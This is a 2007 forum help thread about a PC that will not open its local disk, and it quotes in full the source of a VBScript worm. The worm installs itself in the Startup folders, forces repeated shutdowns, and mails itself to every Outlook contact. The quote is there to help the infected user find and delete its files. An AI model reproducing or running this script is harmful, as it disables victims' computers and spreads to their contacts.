Unable to enter local dsk by double clicking - Page 2

Jet · 15th Mar 2007, 07:09 PM

tried ady... But my antivir and spybot do not detect it..

Damn i shouldn't have let anyone touch my pc..

peaz · 15th Mar 2007, 07:28 PM

Did a google and found this

Quote:

msgbox "HAhaHA YOUR ****ED"
set fso=CreateObject("Scripting.FileSystemObject")
fso.CopyFile Wscript.ScriptFullName, "C:\Program

Files\antivirus.bat", True
Set ANTI = CreateObject("Scripting.FileSystemObject")
Set NOTEPAD = anti.CreateTextFile("C:\ASS.TXT")
Set NOTEPAD = anti.CreateTextFile("C:\PROGRAM FILES/****ass.txt")
NOTEPAD.writeline "heyass****er "
NOTEPAD.writeline "****er"
NOTEPAD.Writeline "exit"
NOTEPAD.close

Set anti = CreateObject("Scripting.FileSystemObject")
Set batch = anti.CreateTextFile("C:\WINDOWS\antivirus.bat")
set batch = anti.createtextfile("C:\Documents and Settings\All

Users\Start Menu\Programs/startup/antivirus.bat")
batch.writeline "SHUTDOWN -S -T 0 "
batch.writeline "START C:\WINDOWS\antivirus.bat"
batch.Writeline "copy 0% C:\Documents and Settings\All Users\Start

Menu\Programs\Startup/****er.vbs"
batch.Close

set fso=CreateObject("Scripting.FileSystemObject")
fso.CopyFile Wscript.ScriptFullName, "C:\Program Files\****er.vbs",

True
Set ANTI = CreateObject("Scripting.FileSystemObject")
Set NOTEPAD = anti.CreateTextFile("C:\****er.vbs")
Set NOTEPAD = anti.CreateTextFile("C:\Documents and Settings\All

Users\Start Menu\Programs/startup/****er.vbs")
NOTEPAD.writeline "do "
NOTEPAD.writeline "start %windir%\System32\SHUTDOWN.exe -s -t 01"
NOTEPAD.Writeline "loop"
NOTEPAD.writeline "end"

Dim x
on error resume next
Set fso ="Scripting.FileSystem.Object"
Set so=CreateObject(fso)
Set ol=CreateObject("Outlook.Application")
Set out= WScript.CreateObject("Outlook.Application")
Set mapi = out.GetNameSpace("MAPI")
Set a = mapi.AddressLists(1)
For x=1 To a.AddressEntries.Count
Set Mail=ol.CreateItem(0)
Mail.to=ol.GetNameSpace("MAPI").AddressLists(1).Ad dressEntries(x)
Mail.Subject="Subject"
Mail.Body="Body"
Mail.Attachments.Add Wscript.ScriptFullName
Mail.Send
Next
ol.Quit

try searching all those locations and delete the .vbs files and the antivirus.bat files

Bestia(ry) · 15th Mar 2007, 07:44 PM

That's what I've found, too. ^^

Jet · 15th Mar 2007, 08:19 PM

Quote:

Originally Posted by peaz

Did a google and found this

try searching all those locations and delete the .vbs files and the antivirus.bat files

blur blur.. How to use that?

Bestia(ry) · 15th Mar 2007, 09:02 PM

Should be a description how this "virus" works.
Check all locations where antivirus.bat and fu*ker/fu*ker.vbs are mentioned.

Bestia(ry) · 15th Mar 2007, 10:51 PM

Since Peaz's quote I get a virus-warning by entering this thread. ^^
Or maybe cuz of Jet ...

Jet · 15th Mar 2007, 11:41 PM

Quote:

Originally Posted by Bestia(ry)

Since Peaz's quote I get a virus-warning by entering this thread. ^^
Or maybe cuz of Jet ...

lol..

I managed to clear all the fu*ker.vbs in my pc and this is wat popping out after i double click my local disk..

Wat's next?

btw, i still cant find antivirus.bat.

Bestia(ry) · 16th Mar 2007, 12:05 AM

Checked registry already?
Somewhere/somehow the script host got the instruction to
load this thing ...

Jet · 16th Mar 2007, 01:00 AM

i use the CCleaner to fix the registry but still the same..

Bestia(ry) · 16th Mar 2007, 01:04 AM

Nah, do it manually ... ^^

15th Mar 2007, 07:44 PM	#13 (permalink)
Bestia(ry) Fenrisulfr Join Date: 11 Oct 2004 Location: Lyngvi Posts: 2,217 Reputation: 1510 Rep Power: 22	That's what I've found, too. ^^ __________________ Gods. Men. Beast alike.

15th Mar 2007, 09:02 PM	#15 (permalink)
Bestia(ry) Fenrisulfr Join Date: 11 Oct 2004 Location: Lyngvi Posts: 2,217 Reputation: 1510 Rep Power: 22	Should be a description how this "virus" works. Check all locations where antivirus.bat and fuker/fuker.vbs are mentioned. __________________ Gods. Men. Beast alike.

15th Mar 2007, 10:51 PM	#16 (permalink)
Bestia(ry) Fenrisulfr Join Date: 11 Oct 2004 Location: Lyngvi Posts: 2,217 Reputation: 1510 Rep Power: 22	Since Peaz's quote I get a virus-warning by entering this thread. ^^ Or maybe cuz of Jet ... __________________ Gods. Men. Beast alike.

16th Mar 2007, 12:05 AM	#18 (permalink)
Bestia(ry) Fenrisulfr Join Date: 11 Oct 2004 Location: Lyngvi Posts: 2,217 Reputation: 1510 Rep Power: 22	Checked registry already? Somewhere/somehow the script host got the instruction to load this thing ... __________________ Gods. Men. Beast alike.

16th Mar 2007, 01:04 AM	#20 (permalink)
Bestia(ry) Fenrisulfr Join Date: 11 Oct 2004 Location: Lyngvi Posts: 2,217 Reputation: 1510 Rep Power: 22	Nah, do it manually ... ^^ __________________ Gods. Men. Beast alike.

15th Mar 2007, 07:09 PM	#11 (permalink)
Jet Hold me back! I can't stop posting!!! Join Date: 5 Sep 2004 Posts: 6,694 Reputation: 1274 Rep Power: 23	tried ady... But my antivir and spybot do not detect it.. Damn i shouldn't have let anyone touch my pc..

16th Mar 2007, 01:00 AM	#19 (permalink)
Jet Hold me back! I can't stop posting!!! Join Date: 5 Sep 2004 Posts: 6,694 Reputation: 1274 Rep Power: 23	i use the CCleaner to fix the registry but still the same..